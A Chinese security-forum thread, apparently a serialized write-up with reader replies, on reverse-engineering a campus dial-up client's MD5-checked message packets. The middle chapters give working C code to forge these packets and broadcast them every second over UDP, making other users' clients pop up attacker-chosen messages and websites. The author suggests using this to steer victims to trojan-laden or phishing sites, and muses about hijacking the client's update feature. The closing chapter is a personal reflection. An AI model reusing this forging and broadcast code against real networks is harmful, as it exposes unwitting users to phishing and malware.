     里面并没有call,但是呢,出现了012345678ABCDEFFEDCBA9876543210。还记得前面百度百科里说的初始链值(幻数)么?就是他了。由于没有其他的内容,我们可以选择不进行跟踪。暂时看看它放到哪里去了就行。本程序中将初始链值放入00F2F0D 处。

     接着看第三个call,发现其中还是不同的,有那么两个call:

…… 
0040664F  |.  E8 7CF4FFFF   call 1_2_9破?00405AD0                             ; \1_2_9破?00405AD0
00406654  |.  8BFD          mov edi,ebp 
00406656  |.  8D753F       lea esi,dword ptr ss:[ebp+0x3F] 
00406659  |.  8B6C24 18     mov ebp,dword ptr ss:[esp+0x18] 
0040665D  |.  3BF5          cmp esi,ebp 
0040665F  |.  731A         jnb short 1_2_9破?0040667B 
00406661  |>  8B5424 14     /mov edx,dword ptr ss:[esp+0x14] 
00406665  |.  8BCB          |mov ecx,ebx 
00406667  |.  8D4432 C1     |lea eax,dword ptr ds:[edx+esi-0x3F] 
0040666B  |.  50            |push eax                                        ; /Arg1 
0040666C  |.  E8 5FF4FFFF   |call 1_2_9破?00405AD0                            ; \1_2_9破?00405AD0
00406671  |.  83C6 40       |add esi,0x40 
00406674  |.  83C7 40       |add edi,0x40 
00406677  |.  3BF5          |cmp esi,ebp 
00406679  |.^ 72 E6         \jb short 1_2_9破?00406661 


     而且,你会发现,这两个call居然是调用一个函数。那么我们enter进入00405AD0,看看它是干嘛的(用enter进入,Alt+c返回当前执行处)。

     看到有下面摸样的代码:

00405B2C  |.  8D8C0178A46A>lea ecx,dword ptr ds:[ecx+eax+0xD76AA478] 


     等等,D76AA478?不就是我们前面原理里面的FF(a,b,c,d,M0,7,0xd76aa478)中的么?于是,我们可以判定, 00405AD0处的函数是进行MD5运算的。其中必定包含4大轮16小轮全部算法(数了下类似上面的代码总共64个,也就证实了我们的猜想)。将其生产的128位结果用作下一512位数据分组的初始链值。那,照这么说,在0040664F处call后面的种种判定,必然是为了看看整个数据包被分成了多少个512位的分组,然后有多少个分组就进行多少次循环咯。最终输出的4组32位链值,结合起来就是最终的MD5值了。

     嗯,我们再来就先不进这个call了(因为在调试的时候,F7跟入只是为了更好的确定这个call的作用,既然我们现在知道了这个call的作用了,我们也就不用再去单步调试了)。

     我们数据包总长度为B8,化作10进制是184字节。也就是1472位。除以512,等于2,余数为448。瞬间恍惚了,还记得原理里面说的么?要进行填充,使其位长度与512求与等于448。这里居然就刚好~~~然后,通过看雪中发的那个帖子,当求余结果刚好为448的时候,需要再增加一个512分组,并且,从448那里开始一直用100000填充,到最后八个字节(64bits)再用数据长度填充。

     单步后,发现正如我们推测那样,第一个call是用来执行对前512位操作的,要是长度小于等于512,则只要进行着一步就行了,后面的循环就是其他对剩余的各512位分组操作了。在这里,我们发现,也就只循环了一次,所以,我们还剩448位没进行处理。

     继续单步跟踪下去。看看有没有其他的发现。

     返回后来到前面图中的第四个call处:

00405A60  |.  E8 1B0B0000   call 1_2_9破?00406580                             ; \1_2_9破?00406580 


     还是先enter键进去看看:

00406580  /$  83EC 08       sub esp,0x8 
00406583  |.  8D4424 00     lea eax,dword ptr ss:[esp] 
00406587  |.  56            push esi 
00406588  |.  8BF1          mov esi,ecx 
0040658A  |.  57            push edi 
0040658B  |.  6A08         push 0x8 
0040658D  |.  8D7E 44       lea edi,dword ptr ds:[esi+0x44] 
00406590  |.  57            push edi 
00406591  |.  50            push eax 
00406592  |.  E8 99FFFFFF   call 1_2_9破?00406530 
00406597  |.  8B07          mov eax,dword ptr ds:[edi] 
00406599  |.  B9 38000000   mov ecx,0x38 
0040659E  |.  C1E8 03       shr eax,0x3 
004065A1  |.  83E03F       and eax,0x3F 
004065A4  |.  83F8 38       cmp eax,0x38 
004065A7  |.  72 05         jb short 1_2_9破?004065AE 
004065A9  |.  B9 78000000   mov ecx,0x78 
004065AE  |>  2BC8          sub ecx,eax 
004065B0  |.  51            push ecx 
004065B1  |.  6820C94300   push 1_2_9破?0043C920 
004065B6  |.  8BCE          mov ecx,esi 
004065B8  |.  E8 33000000   call 1_2_9破?004065F0 
004065BD  |.  8D4C24 08     lea ecx,dword ptr ss:[esp+0x8] 
004065C1  |.  6A08         push 0x8 
004065C3  |.  51            push ecx 
004065C4  |.  8BCE          mov ecx,esi 
004065C6  |.  E8 25000000   call 1_2_9破?004065F0 
004065CB  |.  8B7C24 14     mov edi,dword ptr ss:[esp+0x14] 
004065CF  |.  8D564C       lea edx,dword ptr ds:[esi+0x4C] 
004065D2  |.  6A10         push 0x10 
004065D4  |.  52            push edx 
004065D5  |.  57            push edi 
004065D6  |.  8BCE          mov ecx,esi 
004065D8  |.  E8 53FFFFFF   call 1_2_9破?00406530 
004065DD  |.  8BC7          mov eax,edi 
004065DF  |.  5F            pop edi 
004065E0  |.  5E            pop esi 
004065E1  |.  83C4 08       add esp,0x8 
004065E4  \.  C2 0400       retn 0x4 


     又发现了4个call,其中的第三个和第四个call为:

…… 
004065B8  |.  E8 33000000   call 1_2_9破?004065F0 
…… 
004065C6  |.  E8 25000000   call 1_2_9破?004065F0 


     怎么看起来那么眼熟呢?哦。004065F0不就是刚刚我们才分析用来进行MD5散列的函数么。那就是说,00405A60处的call就是对剩余的448个字节进行处理的。

     那,我们且来看看它是怎么处理的吧。F7进入。跟到这里时,我们发现



     传入的arg1,就是我们接下来要处理的64个字节。也就对应于数据包中最后56个字节链接上1000000000,这在原理中也说过了。 我们知道00405AD0是用来进行MD5的,所以,直接F8步过。

     接下来的跳转成功跳过,而后,进入第四个call,同样来到0040664F的时候,堆栈和数据窗口如下:



     说明了什么呢,是按照前面的原理来的。

     之后我们来到



     看到edx中保存的地址处对应的16个字节就是我们数据包中的3-18位,根据刚才的跟进也可以看到,他是在程序中生成的,而不是从数据包中复制过来的。

     接下来的循环,是将这个生成的数值复制一下,结果如下:



     为什么要这么做?可能是为了方便对比吧。接下来我们就看看对比处在哪。经历各种retn后,来到:

0040AB61  |.  F3:A7         repe cmps dword ptr es:[edi],dword ptr ds:[esi] 


     这句代码,就是用来对生成的校验码进行对比的。而下面的那句jnz则可用做爆破点。(如果你想逐个研究数据包中每个功能的作用的话)

     至此,整个16字节校验码分析完毕。

     其实吧,在以前破解这个客户端到写这篇文章之前,我一直以为它用的是变形MD5加密,以至于我敲了很多变形md5加密,之后,今天一调试,发现是正常的MD5算法。

     那,是什么误导了我呢?分析了下以前写的源代码,大概原因有两点:

     1、 不知道MD5算法在当求与结果大于等于448时的处理情况。原理没弄清楚。

     2、 当时用的是网上下载的一段MD5源代码,我放上数据包后,发现的到的结果不正确。(当然,也有可能是我没用好源代码)

     总之,被自己骗了近一年了。既然说到变形MD5,也来聊聊什么是变形MD5吧。记得在看雪上看过一篇介绍变形MD5文章,大概有三种:

     1、 改变初始幻数(0123456789ABCDEF那个)
     
     2、 改变填充方式。如100000改为110000等。

     3、 改变算法中用到的Mj后的数的值。(如FF(a,b,c,d,M0,7,0xd76aa478)中的0xd76aa478)

     好吧,就写到这里了,后面大概也就还剩一个功能实现,和一个系统的编写,以及个人总结了。大概就两三章节的样子吧。

                                                            --Tracy   2013/11/17
2013-11-17 01:41
0
雪    币: 329
活跃值: (235)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
7
Chapter 6——数据包生成器

       有了上面的分析基础,我们算是对接收到的数据包的功能和结构了解的透彻了,那么,下面要做的自然是能够让客户端弹出我想弹出的网站和消息内容。

       我这里主要用c实现的,很少敲代码,可能一些变成习惯和风格都不好,也希望大家给点建议和提醒,共同进步。

       我们要做的第一步便是去构造整个数据包的框架:(用前面的一张图来说明)



第1位是可选的:04,06,C8,CA
第2位是整个数据包长度,在构造好后数据包后填写
3——18是生成的16位校验码
19——25由于我只要实现弹出窗口,所以,这里用原来的数值
26——44:时间(控制位和长度放到19-25中了,因为它们的值是不会变动的)
45:消息控制位 0C
46:消息的长度n+2
47——(46+n):要显示的消息
47+n:网址控制位 0A
48+n:网址长度 m+2
49+n——48+n+m:网址内容
49+n+m——61+n+m:固定不变的信息(包含下一个网址的控制信息10)
62+n+m:第二个网址长度 l+2
63+n+m——62+n+m+l:第二个网址内容


       按照上面的规则,我们可以定义出一个大体的框架了,本想用结构体来定义的,可考虑到结构体需要考虑内存对齐,以及字符串‘\0’结尾不好处理。于是还是老老实实的用char型来拼接出我们想要的数据包吧(当然,那你可以有更好的办法,也希望你分享下~)

于是:

       义两个全局变量:

//the global var
char msg_tim[19];
// 19位时间信息,格式为:2012-11-26 02:30:07
char message[500];
// 所有字符
然后,把前面的长度为定值的内容先制定好,内容变化的地方用0x00代替。
char msg_0[52]={
         0X04,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
         0X00,0X00,0X00,0X09,0X06,0X01,0X00,0X00,0X00,0X08,0X15,0X00,0X00,0X00,0X00,
         0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
         0X0A,0X03,0X31,0X0B,0X03,0X30,0X0C};
/*总共51位        1:总长度  2-17:校验码      26-44:时间 */


       中间的49+n+m——61+n+m,也先定下来。

char msg_con2[13]={0X0E,0X06,0X20,0X03,0X00,0X00,0X0E,0X06,0XDC,0X05,0X00,0X00,0X10,};


       后面就是处理3个输入的信息了。

       定义三个临时变量来接受输入信息:
         char tem1[200]={'0'};
         char tem2[200]={'0'};
         char tem3[200]={'0'};

       然后,再用如下的检测输入方式来进行输入。消息内容、网址,都是这个操作。
         
while((tem1[i++] = getchar()) != '\n' && i < sizeof(tem1));
         tem1[i - 1] = '\0';
         msg_msg=tem1;
         len1 = strlen(tem1)+2;
         tem = (char)len1;   //tem 为 asc
         message[52]=tem;        // 第52位   长度


       此后,将出了16位校验码和19位时间的数据连接起来。
//////////////////////////////////////连接
         for (i=0;i<52;i++)
         {
                   message[i]=msg_0[i];//将控制位放入全局变量message中用于生成模板
         }
         for (i=0;i         //将用户输入的信息放入全局变量message中用于生成模
         {
                   message[53+i]=msg_msg[i];
         }
         message[51+len1]=msg_con1[0];//将控制位放入全局变量message中用于生成模板
         for (i=0;i
         {
                   message[53+len1+i]=msg_url1[i];//将用户输入的网址1放入全局变量message中用于生成模
         }
         for (i=0;i<13;i++)
         {
                   message[51+len1+len2+i]=msg_con2[i];//将控制位放入全局变量message中用于生成模板
         }
         for (i=0;i
         {
                   message[52+len1+len2+i+13]=msg_url2[i];//将用户输入的网址2放入全局变量message中用于生成模
         }
         len=len1+len2+len3+63;//得到总长度
         tem = (char)len;  
         message[1]=tem;   //将总长度数据放入数据包中
         return 0;
}


       再之后,就是按格式生成时间了。

char* msg_time()
{
       char temp[5];
       int tem;
       time_t timep;
       struct tm *p;
       time(&timep);
/*   address with the data    */
       p=localtime(&timep); /*取得当地时间*/
       //gain the year
       tem=p->tm_year+1900;
       sprintf(temp, "%d", tem);
       strcat (temp,"-");
       strcpy (msg_tim,temp);
       //cat with the month
       tem=p->tm_mon+1;
       sprintf(temp, "%d", tem);
       strcat (temp,"-");
       strcpy ((msg_tim)+5,temp);
       //cat with the day
       tem=p->tm_mday;
       sprintf(temp, "%d", tem);
       strcpy ((msg_tim)+8,temp);
       strcat (msg_tim," ");
/*   address with the time    */
       tem=p->tm_hour;
       sprintf(temp, "%02d", tem);
       strcat (temp,":");
       strcpy ((msg_tim)+11,temp);
       //hour
       tem=p->tm_min;
       sprintf(temp, "%02d", tem);
       strcat (temp,":");
       strcpy ((msg_tim)+14,temp);
       //min
       tem=p->tm_sec;
       sprintf(temp, "%02d", tem);
       strcpy ((msg_tim)+17,temp);
       printf("%s\n",msg_tim);
       return 0;
}


       这样,我们还剩下16位MD5的校验码没放上去了。到现在,可以生成了。

       前面章节也说过,我用的那套从网上down下来的MD5算法并没有生成与客户端一致的校验码,还导致我一直以为是变形加密来着。我也没怎么去研究那套源代码,而是,直接自己写了个填充函数,在进行它的算法之前,先把所有信息都填充好。如下:

       先定义好填充数据包:

static unsigned char PADDING[64] = {
  0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};
index = len % 64;             //获得余数
       if (index<56)              
       {
              for (i=0;i<56-index;i++)
                     msg_in[len+i]=PADDING[i];
              len=len+i;
              msg_in[len]=*(char *)&tem;
              msg_in[len+1]=*(1+(char *)&tem);
              for (i=0;i<6;i++)
              {
                     msg_in[len+2+i]=PADDING[2+i];
              }
              len=len+2+i;
       }//当余数小于56时,用10000补充,最后8字节用需加密数据包的长度进行填充
       if (index>=56)//当余数大于等于56时,用10000填充满此64字节。而后,再开新建一个64字节数据,用0000填充,最后8字节填充上数据包长度
       {
              for (i=0;i<64-index;i++)
              {
                     msg_in[len+i]=PADDING[i];
              }
              len=len+i;
              for (i=0;i<56;i++)
              {
                     msg_in[len+i]=PADDING[2+i];
              }
              len=len+i;
              msg_in[len]=*(char *)&tem;
              msg_in[len+1]=*(1+(char *)&tem);
              for (i=0;i<6;i++)
              {
                     msg_in[len+2+i]=PADDING[2+i];
              }
              len=len+2+i;
       }


       这样的生成的数据包,就可以是我们程序能够正常处理的数据包了。

       接下来,我们要测试下,也就是对程序发送,看能不能弹出我们想要弹出的对话框啊,网站之类的,于是,我们还要对数据包用程序自带的加密算法加密一次。如下:
unsigned char code (int lenth,unsigned char* pwd)
{
       int i=0;               //定义两个变量
       char tmp[2]={0};         //临时缓存存放点
       unsigned char n;         //定义为无符号字符型
       for (i=0;i
       {
       n=(((((((((pwd[i]>>2)&0X20)|(pwd[i]&0X40))>>2)|(pwd[i]&0X20))>>1)|(pwd[i]&2))>>1))|(((pwd[i]&0X1C)|(pwd[i]<<5))<<2);   //密码算法核心
              sprintf(tmp,"%02X",n);        //将得到的结果转换为16进制
              msg_in[i]=*(char *)&n;
       }
       return 0;
}

       然后,我们试着对去掉时间校验的客户端发送一次,看看结果:



       OK,搞定了。

       既然能够弹出想要的消息框和内容,那,我们可以利用这个做什么呢?让他们打开挂马的网站?让他们打开钓鱼网站?还是刷刷自己空间或者博客的流量?这个就随你了~

       其实,你还分析下,指不定这个程序还提供在线更新功能,直接从某个ip下载一个exe然后自动安装运行呢~直接相当于下载者了~具体的,也没有去继续分析了。有兴趣的自己再去研究吧。

       于是,我们剩下的问题就是:如何实现全网控制?

       且看下回分解。

                                                                                    ——Tracy    2013-11-18
2013-11-19 09:38
0
雪    币: 524
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
标记一下以后慢慢看
2013-11-19 11:07
0
雪    币: 329
活跃值: (235)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
9
Chapter 7——广播?模拟广播

       通过前面的努力,也就实现了整个对客户端大多数秘密的探索。不过,上章中,我们实现了数据包生成,并且,对自己的去掉了时间校验的客户端发送,虽然成功了,可似乎不能说明什么,只能说找到了他的实现原理罢了~

       那,我们再来分析分析吧,在用客户端拨号上网的过程中,整个客户端与服务器的交流过程应该是这个样子的:(YY的,不过貌似每次YY的结果都是正确的)

1、 客户端把密码解密成真实的拨号密码,传递给rasdial
2、 由rasdial函数拨号,并在内存中记录拨号成功的时间
3、 客户端发送一个数据包给服务器,用于查询拨号账号剩余使用时长(其实,这也是一个突破口,可以对服务器下手,构造各种查询数据包,看返回结果,说不定还能直接返回用户密码呢。当然,这也是yy)
4、 服务器返回一个数据包给客户端,告诉客户端,你的剩余使用时长时多少等等之类
5、 客户端接受到数据包,进行解析,而后,根据数据包内容进行相应操作


       额,大概就是这样了。那,我们现在的目的是:让每个拨号上网的人都弹出我想要弹出的内容和网站。

那我们可以从哪些方面入手呢?
       1、改所有的路由器,加条路由,把默认的服务器ip跳转到我的电脑上。(那就是每次都有一个数据包发送到我这里,然后我再返回一个能让他打开的网站的数据包),等等,这个问题我以前没有想到,不过现在一分析,发现,也是不很有效~拿下所有路由器,似乎有点~~~此外,我们忘了一件事,也是我前面强调的,可却说错了的事情:时间是应该是本地拨号上网的时间,不应该是服务器返回过来的。因为,这个通信过程中,客户端先发了一个包含时间的数据包给服务器的~如果没记错的话。
       2、24小时不停的对所有的ip地址发UDP数据包,只要他一拨号,就能收到我发出的恶意数据包,然后打开我的网站。那,时间呢?怎么控制?这样吧,每秒钟生成一个数据包,然后把它广播出去。这样子就可以绕过时间限制,以及解决被动发送数据包的问题了。
       当然,你还可以想象,在路由器上截获(其实,以前在一家公司做流量探针就是这原理,过一遍所有要传输出去的流量,然后,把需要的信息记录下来),所有发送出去的数据包,然后对应其中的时间,构造数据包返回~

       不过,除了第二条有可行性外,其余所有的都是yy的。前提是拿到路由器的控制权。
       那,就来实现第二条的功能吧:
       也就是在上一章实现的基础上添加一个时间触发功能,如下:

int time_tri()  //时间触发,在这个函数里面调用其他函数
{
	unsigned long dwStart;
	unsigned long dwEnd;
	int iCount=0;
	do  
	{
		dwStart = GetTickCount();
		do
		{
			dwEnd = GetTickCount()-dwStart;
		}while(dwEnd <1000);
		iCount++;
		printf("这是第%d次执行\n",iCount);
		for (INT i=0;i<500;i++)
		{
			msg_in[i]=message[i];
		}
		memset(msg_in, 0, sizeof(msg_in));		//清空msg_in[500]
	}while(1);
	return 0;
}

       而后就是UDP数据包的发送了,如下:
void SendtoMsg(char *mmsg,int N)     //UDP数据包发送模块,将上面生成的构造好了的数据包发送出去
{
	SOCKET fd;
	int len,i = 0,j = 0;
	unsigned int a = 0;
	char szTmp[32] = {0};
	WSADATA        wsd;	
	if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
	{
		printf("WSAStartup failed!\n");
		return;
	}
	struct sockaddr_in servaddr;
	struct _msg
	{
		char a[500];
	}message;
#define NIPQUAD_FMT  "%u.%u.%u.%u"
#define NIPQUAD(addr) \
	((unsigned char *)&addr)[0], \
	((unsigned char *)&addr)[1], \
	((unsigned char *)&addr)[2], \
	((unsigned char *)&addr)[3]

	char *sz_start_addr;
	char *sz_end_addr;
	sz_start_addr = buff1;
	sz_end_addr = buff2;
	unsigned int a1 = inet_addr(sz_ip_addr);
	i = 0;
	while(i != N)
	{
		message.a[i] = mmsg[i];
		i++;
	}
	
	len = sizeof(servaddr);
	if((fd = socket(AF_INET,SOCK_DGRAM,0)) < 0)
	{
		perror("fail to create socket");
		return ;
	}

	servaddr.sin_family = AF_INET;
	servaddr.sin_port = htons(atoi("4999"));
	a = htonl(a1);
	_snprintf(szTmp, sizeof(szTmp)-1,NIPQUAD_FMT, NIPQUAD(a));
	servaddr.sin_addr.s_addr = inet_addr(szTmp);

	sendto(fd,(const char*)&message,lent,0,(struct sockaddr *)&servaddr,len);

	closesocket(fd);		//关闭套接字	  
	WSACleanup();		//释放套接字资源
	return ;
}


       也就是说,我们每隔一秒钟,对整个网络广播一个数据包出去,从而来解决时间限制。

       之后试了下,发现,对整个网络广播数据包还是可行的,我们寝室的几个哥们都成功的弹出了我的信息,不过呢,我再跑到别的寝室去试试,发现~不可行了~

       那,问题在哪?

       还是前面在搭建pppoe服务器的时候的问题,广播数据是不能穿过路由器的,所以~我得改变方案啊,既然它不让广播,那我就模拟广播吧。如果能够拿下路由器,可以在其中找到自己接入的端口,开放广播功能。
      
       在上面的发送代码中,加上一个ip地址段,也即是,循环对这个ip地址段发送数据包。每秒发送一次,这个貌似能够实现对特定的ip打开我的网页,不过,效率太低,ip段过大的话,很容易造成网卡吃不消,丢包等等现象,而且,只要网管一分析,你的ip一直在对外发送数据包,也就很容易找到你了。

       文章写道这,也就算完了,我也没再继续往里钻了,1是感觉没什么可以再去探究了,2是时间不够我毕业了。

       so,还差一篇总结~
2013-11-20 11:59
0
雪    币: 458
活跃值: (306)
能力值: ( LV12,RANK:400 )
在线值:
发帖
回帖
粉丝
10
好帖没人顶,我来支持一下,不觉明厉。
2013-11-22 11:29
0
雪    币: 329
活跃值: (235)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
11
【校园网那些事 —— 总结篇】

    终于,把该码的都码完了,也算是在差不多能把这个客户端的来龙去脉说清楚了,也算是能给自己一个交代了,也算是圆了自己在考研前75天的那个梦了。

    其实,总结无非就是说说这个过程中自己经历了些什么、得到了些什么罢了,也会加上些感谢XXX之类的。完了,写到这句话后,突然发现自己没话写了。是什么都没收获到、还是不知道该如何描述自己收获了些什么呢?

    在写这总结前,我去参加了一个交流会,期望能在这交流会上得到些灵感,触发些思考,亦或许得到些想得到的答案~可听了会儿发现,内容并没涉及到关于“兴趣”这块。一直以来都向往自由,不想被约束,更不喜欢被迫去做什么。一条理念就是跟着心走、跟着感觉走、做自己想做的事。可现实并不是时刻都允许我们跟着心走。那,这时我们又该如何抉择呢?是向现实妥协?还是忠于自己的初衷?当然,我这里不想再做思想斗争,免得给自己找些堕落的理由,只想说我能、也应该去更好的处理兴趣与现实的关系。(当然,这与总结无关,纯属思维发散)
   
    文章写了近一年了吧,中间也有过很多次想要放弃。应该是在完全把文中写的最后一个功能实现后,想着,也快要毕业了,也给学弟学妹们留下些什么吧,然后,就心血来潮一天之内洋洋洒洒写了7000字,还要室友帮审稿,再后来就没那么有激情,也或许是离考研的时间越来越近了吧,总想着把事情推到后面去做,于是,中间就耽搁了几个月,接着寒假来了,又开始陆陆续续的把不需要环境的第二部分写完了,而后开学,又是准备毕业设计,又是准备复试,总是把写这文章的优先级排到最后。以至于毕业后,想起这还未完成的心愿时,总会给自己找个借口说:“主要是没环境了,不然我会写完的”。正是因为这种心态,导致很多要做的事情都没做、很多可以实现的梦都只是梦了。

    一天,在网上泡着无聊,又刚好一直在反思着那段时间自己的状态,也发现了自身的很多不足、缺点,无意中再一次的逛到泉哥的博客(因为一直很欣赏泉哥的计划性和执行力,所以去过无数次了,博客的大多数栏目和内容都知道),便直接去随笔杂谈一篇篇的看了起来。从第一个五年计划到第三个五年计划,从刚开始的去网吧扫445端口抓鸡到后来成为《黑防》常客,再到后来成为业界有名人物,这些种种给我一种强有力的冲击。于是,暗自拿自己和他对比了起来(虽然压根就没可比性),发现,起点几乎都是相同点,可结果并不相同,原因是中间这个过程它是不同的。意识到这个问题后,暗自庆幸的对自己说了句:“还好,我又给自己再争取了三年时间,加上这三年,在时间上也能于当时的泉哥一致,或许,三年后我也可能达到泉哥今天的高度”。而这一对比,对比出来的问题就是:“他比我有计划、有毅力、有执行力”,而这也正是我缺的。

    突然间想到不远在Q上跟我说过的一句:“行随心动”,不要再空谈理想了,不要在说:“等我有时间了再去XXX了。”,告诉你,时间永远都是挤出来的而不是等出来的。

    那,就从这个还未完成的梦想开始吧,没环境?自找的,谁要你当时不写完,留到现在呢?有问题?那就解决问题再继续。算是给自己一个教训,也算是给自己一个提醒!永远不要把事情拖到不能做了再去做,因为,拖着拖着,就没有然后了~你那些美好的梦想,你那些高贵的理想,你那希望中的美好生活都没了!

    那就做好每一件想做的事,并坚持下去,记得,是做好,而不是完成任务!

    所以,就咬着牙继续把这篇文章写了下去。可能,大家看文章的时候,觉着挺轻松的,毕竟写文章的语气也挺轻松的,一步步的按部就班,一个个问题就这么解决了。可你永远的不知道在这轻轻松松的语气中有过多少次没有结果的尝试,你永远不知道这文章的每个标题的背后都有个漫长的学习过程,都有无数个熬夜的夜晚。

    就拿最后那几章节中的MD5来说吧,我想,下面的几条说说可以证明些问题:





    当然,发这些并不是想要吹嘘自己有多努力,有多刻苦,只是想说,任何一件事都不是轻易间、想想就能做好的,付出了,才会有收获。

    就让我们假定时间还停留在大学毕业的六月份吧,马上我又有三年给自己充电的时间了。我得告诉自己,生活不能再向大学那般度过了。就如今天的交流会上,学长学姐无外乎都在强调着“基础”,是的,现在,我有时间了,那,就拿出执行力来,好好的给自己补上这一课吧!还记得kanxue老大说过的一句话:“逆向是为编程服务的 。”所以,好好写代码!刚翻阅以前的说说的时候,发现了这么一句话:“考研,是以职业为起点的。”,记得,那是在考研前15天,我拿着简历去参加学校的校招时说过的一句话。那,现在我告诉自己:“读研,是以职业为起点的!”。

    最后,关于本文,由于是纯手工敲下来的,可能或多或少有些错别字,我尽量多审稿吧,请大家见谅了。毕竟,精力有限啊~此外,整个这100多页的doc文件,是分了两个时段写的,可能在某些地方,思路或者写作风格不一样,也请见谅了。

    没去泉哥的空间看过,你永远不知道他看过多少书、做过多少次尝试、你也不会知道他是如何一步步成长起来的。谨以此文献给大家,作为自己踏出追寻自己爱好的第一步。

    最后,感谢看雪、感谢泉哥、感谢BlackFeathe、感谢elixe、感谢半斤八兩、感谢CRoot、感谢每个看过这篇文章、给我鼓励的人~还要感谢教父goodwell对我说的那句“你是一个没有将基础学好却想登天的投机取巧行为。”——You raise me up!是你们,激励着我。

    加油吧~骚年~~~

        Tracy_梓朋

                                        ——2013年11月22日22:47:43
2013-11-23 02:11
0
雪    币: 60
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
支持.我还是依然的不懂事...请问下你QQ多少,能PM我吗?
2013-11-23 14:33
0
雪    币: 59
活跃值: (1521)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
佩服楼主~帮顶
2013-11-25 17:34
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
nmn
14
下来学习学习
2013-11-26 03:14
0
雪    币: 329
活跃值: (235)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
15
资料里应该有的吧~~~
2014-1-3 23:42
0
雪    币: 200
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
非常精彩的故事  大神啊!!
2014-1-11 15:16
0
雪    币: 329
活跃值: (235)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
17
你总共发了三个帖子,还有一个自我这。

实在是倍感荣幸 啊。

另外,我是菜鸟一只~~~离所谓的神还有很长一段距离。。。
2014-1-11 19:11
0
雪    币: 3380
活跃值: (1373)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
18
额滴神 这么多Bug-- 不看还不知道-- 这是哪个版的--
2014-1-11 19:29
0
雪    币: 329
活跃值: (235)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
19
什么BUG?
2014-6-2 11:11
0
游客
登录 | 注册 方可回帖
返回
//